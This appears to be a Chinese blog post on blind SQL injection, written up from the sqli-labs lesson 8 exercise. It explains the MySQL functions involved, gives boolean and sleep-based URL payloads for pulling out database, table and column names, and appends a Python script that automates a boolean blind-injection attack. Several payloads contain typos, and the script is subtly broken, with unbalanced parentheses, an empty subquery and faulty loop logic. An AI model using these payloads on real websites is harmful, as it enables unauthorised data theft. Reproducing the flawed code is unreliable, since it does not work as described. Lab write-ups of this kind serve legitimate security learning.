if的sql盲注

前言:题目来源:sqli中的第八题,布尔盲注
1.主要涉及到函数
if(a,b,c)
 a是条件,满足返回b,不满足返回c
length()
 长度判断
ascii(a)
 判断字符的ascill值
substr(a,b,c)
 截取字符串,a为字符串,b为起始位置第一个就是1,c为偏位移量
2.布尔盲注
 故名思意结合布尔判断
 大家都应该知道这个?id=1' and 1=1 --+

 那么这个就不难理解?id=1' and if(a,b,c) --+
 接下来就是构造参数a 首先判断数据库长度?id=1 and if(length(database()=?),1,0) --+可以手动二分法判断,也可以爆破
 接下来就爆库,?id=1' and if(ascill(substr(database(),1,1))=变量,1,0) -++,爆破就好了
 爆表名,把参数a换为 select group_concat(table_name) from information_schema.tables where table_schema='数据库名 limit 0,1'
 爆字段名,把参数a换位 select group_concat(column_name) from information_schema.columns where table_name='表名 limit 0,1'
3.时间盲注
 其实时间盲注和基于布尔盲注,只不过把判断式的结果c更换为sleep(整数),表示睡眠该整数时间秒数。
 举个栗子:?id=1' and if(length(database())>0,sleep(5),0) --+
 数据库长度必然大于0,所以一定会睡眠5秒,应该很好理解,其他的就和上面讲解的布尔盲注大同小异了

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
SQL盲注是利用Web应用程序对数据库执行SQL查询时的漏洞来获取数据库中敏感信息的一种攻击方式。攻击者通常使用一些特殊的字符来绕过应用程序的输入验证,最终获取一些敏感的数据,比如用户密码、信用卡号等。 以下是一个简单的Python脚本,用于进行SQL盲注攻击。这个脚本实现的是一个基于布尔逻辑的盲注攻击,它会尝试猜测数据库中某个字段的值,并根据返回结果逐步缩小猜测范围,最终得到正确的结果。 ```python import requests # 目标URL url = "http://example.com/vulnerable.php" # 漏洞字段名称 vulnParam = "id" # 猜测的字段值 guess = "" # ASCII码范围 asciiRange = range(32, 127) # 猜测的字段长度 length = 0 # 猜测字段长度 while True: # 构造SQL注入payload payload = f"' or length(({guess})))={length}-- " # 发送请求 response = requests.get(url, params={vulnParam: payload}) # 判断返回结果是否为True if "True" in response.text: length += 1 else: break # 猜测字段值 while True: found = False for i in asciiRange: # 构造SQL注入payload payload = f"' or ascii(substring(({guess}),1,1))={i}-- " # 发送请求 response = requests.get(url, params={vulnParam: payload}) # 判断返回结果是否为True if "True" in response.text: guess += chr(i) found = True break if not found: break # 输出结果 print(f"Found value: {guess}") ``` 代码解释: 1. 导入requests模块,用于发送HTTP请求。 2. 定义目标URL和漏洞字段名称。 3. 定义猜测的字段值,初始化为空。 4. 初始化ASCII码范围,这里使用了Python内置的range函数。 5. 初始化猜测字段长度为0。 6. 第一个while循环用于猜测字段长度。构造SQL注入payload时使用了length函数,通过逐步增加猜测长度,判断返回结果是否为True,来缩小猜测范围。 7. 第二个while循环用于猜测字段值。通过循环ASCII码范围,逐个尝试每个字符,构造SQL注入payload时使用了substring和ascii函数,来逐步缩小猜测范围。 8. 输出最终结果。 需要注意的是,这个脚本只是一个示例,实际使用时需要根据具体情况进行修改和优化。同时,SQL盲注是一种非常危险的攻击方式,需要谨慎使用,以免造成严重后果。
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值